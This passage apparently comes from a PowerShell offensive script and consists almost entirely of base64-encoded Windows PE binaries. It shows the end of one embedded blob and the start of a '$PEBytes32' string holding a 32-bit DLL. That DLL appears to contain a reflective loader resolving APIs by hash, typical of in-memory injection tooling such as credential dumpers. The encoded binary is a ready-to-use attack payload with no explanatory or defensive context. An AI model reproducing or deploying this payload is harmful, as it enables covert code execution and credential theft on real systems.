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hoKGoobChuKHAocih0KHYoeCh6KHwofihAKIIohCiGKIgoiiiMKI4okCiSKJQoliiYKJoonCieKKAooiikKKYoqCiqKKwosiiMKQ4pECkSKRQpFikYKRopHCkeKSQpJikoKSopLCkuKTApMik4KTopPCk+KQApQilEKUYpSClKKVApWClgKWgpailwKXIpeCl6KUAphCmGKYgpiimMKY4pkCmSKZQpmimgKaIppCmmKagpqimsKa4psCmyKbQptim4KbopgCnGKcgpyinOKdQp1inYKdop3CneKeAp4inkKeYp6CnqKewp7inwKfIp9Cn2Kfgp+in8Kf4pwCoCKgQqBioIKgoqDCoOKhAqEioUKhYqGCoaKhwqHiogKiIqJComKigqKiosKi4qMCoyKjQqNio4KjoqPCo+KgAqQipIKk4qUCpWKlwqXipgKmIqZCpmKmgqaipsKm4qcCpyKnQqdip4KnoqfCp+KkAqgiqEKoYqiCqKKowqjiqUKpoqnCqiKqgqqiqsKq4qsCqyKrQqtiq4KroqvCqCKsQqxirIKsoqzCrOKtAq0irUKtYq2CraKtwq3irgKuIq5CrmKugq7CruKvIq9Cr4Kvoq/irAKwYrDCsOKxArEisUKxYrGCsaKxwrHisgKyIrJCsmKygrKissKzArMis2KzgrOisUK5grmiucK6AroiuoK6orsCuyK7gruiu8K4ArwivEK8gryivMK9Ar0ivYK9or4CviK+gr6ivwK/Ir+Cv6K8A4AMACAEAAACgCKAgoCigMKBAoEigUKBgoGiggKCIoKCgqKCwoLigwKDIoNCg2KDgoOigAKEYoSChOKFAoUihUKFYoWChaKFwoXihgKGIoZChmKGgoaihsKG4ocChyKHQodih4KHoofChEKIYoiCiKKIwojiiQKJIolCiWKJgomiicKJ4ooCiiKKYoqCiqKKworiiwKLIotCi2KLgouii8KL4ogCjCKMQoxijIKMoozCjOKNAo0ijUKNYo2CjaKNwo4CjiKOQo5ijoKOoo7ijyKPQo9ij4KPoo/Cj+KMApAikEKQYpCCkKKQwpDikQKRIpFCkWKRgpGikcKR4pICkiKSQpJikAAAA8AMAFAAAAMCuyK7QrtiuAK9IrwAABACUAAAAwKfgp/CnMKhAqFioaKiQqKCosKjAqNCoAKkQqVipaKl4qaCpwKnYqfipMKpAqlCqYKp4qoiqsKrAqvCqAKtAq2CrgKuQq9Cr8KsgrECsYKyArLCswKzQrAitMK1orXCtqK3ArcitCK4YrjCuYK6ArqiuuK7AruCu6K4gr0CvYK+Ir5ivqK/Ar9CvAAAAEAQAEAEAAAigMKBQoHCgkKC4oMig2KAAoQihQKF4oYihoKG4odih8KEIoiCiOKKAoqCiuKLAohCjMKNIo1ijaKOQo5ijyKPYowCkOKRgpIikkKS4pMikEKUgpXClkKWwpeil+KUQpkCmYKaYpqimwKbopvimIKc4p0incKeQp7CnuKfwpxCoQKhgqKiowKjQqPioEKkYqVipaKmAqcCp+KkIqiCqMKpAqmiqeKqgqriqwKoQqzCrSKtYq4CruKvIq+Cr+KsArDisUKxYrJisqKzArNCs4Kz4rBitMK1IrWCteK2wrcCt0K3grfCtAK4wrlCuaK6IrsCu0K7grvCuIK9Ar3CvkK+wr9Cv6K8AAAAgBAAcAQAACKAgoECgSKCAoJCgoKCwoOCgAKEYoTihcKGAoZChoKHQofChCKIoomCicKKAopCiqKK4ouCi+KIoozijSKNwo3ijqKPAo+CjCKQwpDikWKR4pJikuKTIpNikAKUIpSilOKWIpaClwKXopQimQKZQpmCmcKaAppCmqKbQpuim+KYIp1inaKeQp8in6KcYqECoWKhoqHiokKigqKioyKjwqAipMKlQqXCpsKnAqdipCKooqmCqcKqAqpCqoKqwquCqAKsgq1CriKuYq7CryKvYq+irCKwYrECsSKxorJCsmKzIrOCsAK0IrUCtYK2AraCtwK3wrSiuOK5QrmiuiK6grsCu0K7grvCuKK9Ir5CvqK/Ir+CvADAEACABAAAwoECgUKBgoHCggKCYoKiguKDYoPigOKFYoXihiKGYoaih0KHwoSiiOKJIoniimKLQouCi8KIAoxCjIKNIo3CjiKOYo7ij0KMIpCikYKSApJikwKTYpPCkGKVIpWiliKXApdCl4KXwpQCmEKYoplCmaKZ4pqCmyKbYpuimGKc4p1ineKewp8Cn0Kfgp/CnAKgwqFCoaKiIqMCo0KjgqPCoAKkQqUipeKmYqdCp4KnwqQCqEKogqlCqaKqIqsCq4KoAqyCrQKtYq4CrmKuwq8ir4Kv4qwisKKw4rJCssKzQrPCsEK0wrVCtaK2QraitwK3YrfCtCK4grjiuSK5orniuuK7grviuEK8or0CvWK9wr4ivmK+4r8ivAEAEABgBAAAIoDigYKB4oIigqKC4oOigCKEgoTihUKFwoXihsKHAodCh4KHwoQCiGKIookiiaKKgoqiiyKLYouCiAKMQoxijUKNwo5ijqKO4owCkIKRIpFikaKSQpKCkyKTYpOikGKU4pVClaKWYpailuKXgpRCmGKY4pkimYKaAppCmoKbAptCm4KbwpgCnEKc4p3iniKeYp+CnAKgoqDioSKiIqPioQKlgqZCpsKnQqQCqIKpAqliqeKqQqqiqwKrYqvCqCKtAq1ireKuwq9Cr+KsIrBisSKxorICsmKzQrOCs8KwArRCtIK04rVitkK2grbCtwK3wrSCuQK5grniumK6wrgCvIK9Ar2CveK+gr7iv0K/orwBQBABAAQAAAKAooFCgaKCAoJigsKDAoNCg4KDwoBihSKFwoYihmKHAodihAKIYokCiWKJoopCiqKLQovCiEKMoo1CjaKOAo5ijqKPQo+ijAKQYpCikOKRIpFikgKSgpMCk2KQApRilMKVIpVilaKV4paCluKXQpeil+KUIphimKKZQpmimkKaoprim4Kb4piCnQKdYp4CnmKewp9inAKgYqDCoQKhQqGCocKigqMCo4KgAqRipQKlYqXCpiKmgqbCpwKnQqdip+KkgqjiqUKpoqoCqqKrYqgCrGKtAq1CrcKuAq5CroKuwq7ir8KsArCCsSKxorICsmKywrMis4Kz4rBCtKK1ArVitcK2IraCtuK3wrQCuEK4grjCuQK5YrmiueK6IrpiuqK7QrvCuEK8orzivYK+Ar6CvyK/Yr+ivAGAEADABAAAIoCigQKBYoHigsKDAoNCg4KDwoAChGKE4oUiheKGYobih2KHooRiiOKJwooCikKKgorCiwKLwogijKKNgo3CjgKOQo8Cj4KP4oxikOKRIpFikmKSwpOikCKVApVClYKVwpYClkKWopbil4KX4pSCmSKZgpnimqKbIpuim+KYgp1incKeIp6in4KfwpwCoEKggqDCoWKh4qLCowKjQqOCo8KgAqTCpSKloqaCpsKnAqdCp4KnwqQiqKKpYqniqsKrAqtCq4KrwqgCrMKtQq2iriKuoq7iryKvYq+irKKxIrIisqKzgrPCsAK0QrSCtMK1IrVitaK14rZitsK3YrfitMK5ArlCuYK5wroCuoK6wrsCu+K4Qr0ivaK+gr7CvwK/Qr+Cv8K8AAABwBABsAQAAAKAIoBCgGKAgoCigMKA4oECgSKBQoFigYKBooHCgeKCAoIigkKCYoKCgqKCwoLigwKDIoNCg2KDgoOig8KAwoTihQKGIobChuKHAocih2KEwokCiSKJQoliigKLIouCi8KIAoxCjIKMwo1ijaKN4o4ijqKPQo/CjEKQ4pFikkKSgpLCkwKTQpOik+KQIpVilcKWIpZClmKWgpailuKXYpRCmKKZIpoCmkKagprCmwKbQptimAKcIpxCnWKeAp4inkKeYp6inAKggqCioMKg4qECoSKhQqFioYKxwrICskKygrLCswKzQrOCs6KzwrPisAK0IrRCtGK0grSitMK04rUCtSK1QrVitYK1orXCteK2ArYitkK2YraCtsK3ArdCt4K3wrQCuEK4grjCuQK5QrmCucK6ArpCuoK6wrsCu0K7grvCuAK8QryCvMK9Ar1CvYK9wr4CvkK+gr7CvwK/Qr+Cv8K8AgAQAPAAAAACgEKAgoDCgQKBQoGCgcKCAoJCgoKCwoMCg0KDgoPCgAKEQoSChMKFAoVChYKFwoYChkKEAQAYA6AAAAACgKKBQoHigoKDIoAChEKE4pmCmaKagqrCruKvAq8ir0KvYq+Cr6Kvwq/irAKwIrBCsGKwgrCisMKw4rECsSKxQrFisYKxorHCseKyArIiskKyYrKCsqKywrLiswKzIrNCs2KzgrOis8Kz4rACtGK0grSitMK04rUCtSK1QrVitYK1orXCteK2ArYitkK2YraCtqK2wrbitwK3IrdCt2K3greit8K34rQCuCK4QrhiuIK4orjCuOK5ArkiuUK5YrmCuaK7YrviuGK84r1ivmK+wr7ivwK/Ir9Cv2K/gr+ivAFAGALAAAACQopiioKKoorCiuKLAosii0KLYoviiAKMIoxCjGKMgoyijMKM4o0CjSKNYo2CjaKNwo3ijgKOIo5CjmKOgo9Ck2KTopDClgKXQpRCmGKYopnCmsKa4psimQKeQp+CnIKgoqDiocKh4qIiouKjAqMio4KggqSipOKmAqdCpIKpwqsCqEKtQq2ir4KswrICs0KwgrXCtsK3IrQCuCK4YrnCuwK4Qr2CvsK8AYAYArAAAAACgQKBYoJCgmKCgoKigsKC4oMCgyKDQoNig4KDooPCg+KBQoaCh8KFAopCi8KJAo5Cj4KMwpLCkAKVQpaCl8KVApsCmEKdgp7CnAKiAqNCoIKlwqbCpuKkgqjCqcKqAqsCq0KoQqyCrYKtwqwCsEKxQrGCsoKywrPCsAK0wrTitQK1IrVCtWK1grbCtAK5QrqCusK7gruiu8K74rgCvCK8QrxivAHAGABgBAADIoNigGKEooWiheKG4ocihCKIYoliiaKKoorii+KIIo0ijWKOYo6ij6KP4ozikSKSIpJik2KTopCilOKV4pYilyKXYpRimKKZopnimuKbIpginGKdYp2inqKe4p/inCKhIqFiomKioqOio+Kg4qUipiKmYqdip6KkoqjiqeKqIqviqEKtgq7CrGKwgrCisMKw4rECsSKxgrHCssKzArACtEK1ArUitUK1YrWCtaK1wrXitgK2IrZCtmK2orcCt4K3wrSCuKK4wrjiuQK5IrlCuWK5grmiucK54roCuiK6QrpiuoK6orrCuuK7Arsiu0K7YruCu6K7wrviuAK8IrxCvGK8orzivSK9Yr8Cv0K8AAACABgCQAAAAEKAgoGCgcKCwoMCgIKEwoXChgKHAoRCiYKLAogCjEKNQo2CjoKOwo/CjAKQwpDikQKRIpFCkWKRgpGikcKR4pICkiKSQpJikoKSopLCkuKTApMik0KTYpOCk6KTwpPikEKUYpSClKKUwpTilQKVIpVClWKVgpWilcKV4pYCliKWQpZiloKWopQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + $PEBytes32 = "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